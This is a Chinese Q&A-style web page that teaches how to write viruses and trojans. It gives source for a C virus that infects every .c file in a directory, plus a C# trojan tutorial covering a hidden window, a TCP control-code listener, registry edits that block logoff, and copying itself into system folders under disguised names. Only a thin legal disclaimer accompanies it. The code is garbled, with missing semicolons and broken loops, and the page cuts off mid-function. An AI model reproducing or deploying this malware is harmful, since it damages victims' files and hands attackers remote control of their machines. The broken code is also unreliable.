怎么用C语言编写木马、病毒等程序？

2023-03-04 23:50:01Python022

怎么用C语言编写木马、病毒等程序？,第1张

C语言当然可以编写病毒，事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分，只用用好了，都是相当强的；区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度，等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范，到至于可以编写出来什么样的程序，还要看你所用的C语言编译器，（比如TC，VC，LCC，GCC等，太多了）。\x0d\x0a如果有编写windows程序，就不能用TC，它只能编写DOS程序，而应该用VC，LCC，C++Builder等编译工具）\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能，如编windows程序，就要调用Win32 API,Dos程序则调用的是DOS中断，编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的，如VC++,delph,VC，Win32汇编等

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus()

}

int virus()

{

struct ffblk ffblk

FILE *in,*out,*read

char *virus="virus.c"

char buf[50][80]

char *p

char *end="return"

char *bracket="}"

char *main="main"

char *include[2]={"stdio.h","dir.h"}

char *int_virus="int virus()"

char *buffer

int done,i,j=0,flag=0

printf("\nI have a virus. Writen by PuBin\n")

done = findfirst("*.c",&ffblk,0)

while (!done)

{

i=0

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next

}

do{

if(i>=50)

{

fclose(in)

goto next

}

p=fgets(buf[i],80,in)

i++

}while(p!=NULL)

fclose(in)

out=fopen(ffblk.ff_name,"w+t")

fputs("#include<stdio.h>\n",out)

fputs("#include<dir.h>\n",out)

{

if(strstr(buf[j],main)!=NULL)

{

for(j<i-1j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out)

else

{

if(flag==0)

{

flag=1

fputs("virus()\n",out)

}

fputs(buf[j],out)

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out)

j++

}

else

j++

}while(j<i-1)

read=fopen(virus,"rt")

{

p=fgets(buffer,80,read)

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out)

else

{

fputs(" char *virus=\"",out)

fputs(ffblk.ff_name,out)

fputs("\"\n",out)

}

p=fgets(buffer,80,read)

}

}while(p!=NULL)

fclose(read)

fclose(out)

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)

next: done = findnext(&ffblk)

}

return 0

}

严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。

要实现木马服务的程序，主要实现以下几个功能：后台的运行（隐藏技术），控制码的接收与注册表的修改，下面对这三方面做介绍：

1、在VC#中，建立一个后台服务程序是很容易的，先建立一个新的C#的Windows应用程序，项目名称自定（不过为了隐藏可使用与系统相近的名称），将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示，并将属性“Windowstate”属性设为Mininized即可，这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置，此函数起初始化的作用，在窗体显示前运行，代码如下：

private void InitializeComponent()

{

// Form1

//窗体显示的起点和大小

this.AutoScaleBaseSize = new System.Drawing.Size(6, 14)

this.ClientSize = new System.Drawing.Size(368, 357)

//窗体名称

this.Name = "Form1"

//设置属性让它后台运行

this.ShowInTaskbar = false

this.Text = "Form1"

this.WindowState = System.Windows.Forms.FormWindowState.Minimized

}

2、控制代码的接收，必需在服务程序运行开始就启动，所以侦听线程必需在程序初始化中启动，所以放在窗体的构造函数中，代码注解如下：

public Form1() //窗体的构造函数

{

// Windows 窗体设计器支持所必需的

InitializeComponent()

// TODO: 在 InitializeComponent 调用后添加任何构造函数代码

//加入你的侦听代码

//端口你可以自已设定,我使用了固定的端口

int port =6678

//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的

listener = new TcpListener(port)

//启动侦听

listener.Start()

//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()

//reControlCode 是线程启动执行的函数，此函数根据接收的控制

//控制码选取合适的注册表修改函数

Thread thread = new Thread(new ThreadStart(reControlCode))

thread.Start()

}

reControlCode函数如下，完整代码见程序

private void reControlCode()

{

//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求

socket = listener.AcceptSocket()

//如果连接成功执行

while (socket.Connected)

{

//接收控制码

byte [] by =new byte[6]

int i = socket.Receive(by,by.Length ,0)

string ss = System.Text.Encoding.ASCII.GetString(by)

//根据控制码执行不同的功能

//修改注册表加入编码

switch (ss)

{

case "jiance"://测试连接,返回测试信息

string str ="hjc"

byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str)

socket.Send(bytee,0,bytee.Length,0)

break

case "zx1000":

//修改注册表函数,自已定义，见下面分析

UnLogOff()

//返回控制消息

retMessage()

break

case "zx0100":

//修改注册表函数

UnClose()

//返回控制消息

retMessage()

break

//重复的case功能与前面一样,略掉

default:

break

}//case

}//while

} //private void reControlCode

3、C#中实现注册表的修改，使用了.NET类库中的System.Microsoft.Win32命令空间，它提供两种类型的类：处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序：使计算机不能注销。在这之前先了解注册表，在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer

下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改：

private void UnLogOff()

{

//得到主机的注册表的顶级节点

Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine

//设置一个注册表子键的变量

RegistryKey key1

try

{

//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键

//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改

key1 =

rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true)

//设置子键的键名，和值

key1.SetValue ("NoLogOff",1)

//关闭打开的子键

key1.Close()

//警告字符串设定

mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!"

}

catch{}

//如果不存在自已建立

if(key1 ==null)

{

try

{

//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键

RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer")

key2.SetValue("NoLogOff",1)

key2.Close()

mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!"

}

catch{}

}

4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下，主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe，同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()

{

try

{

//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用

//sourceFileName为要移动的文件名，destFileName为文件的新路径

File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe")

}

catch {}

//将新移的木马程序设为自启动.分析和前面一样

try

{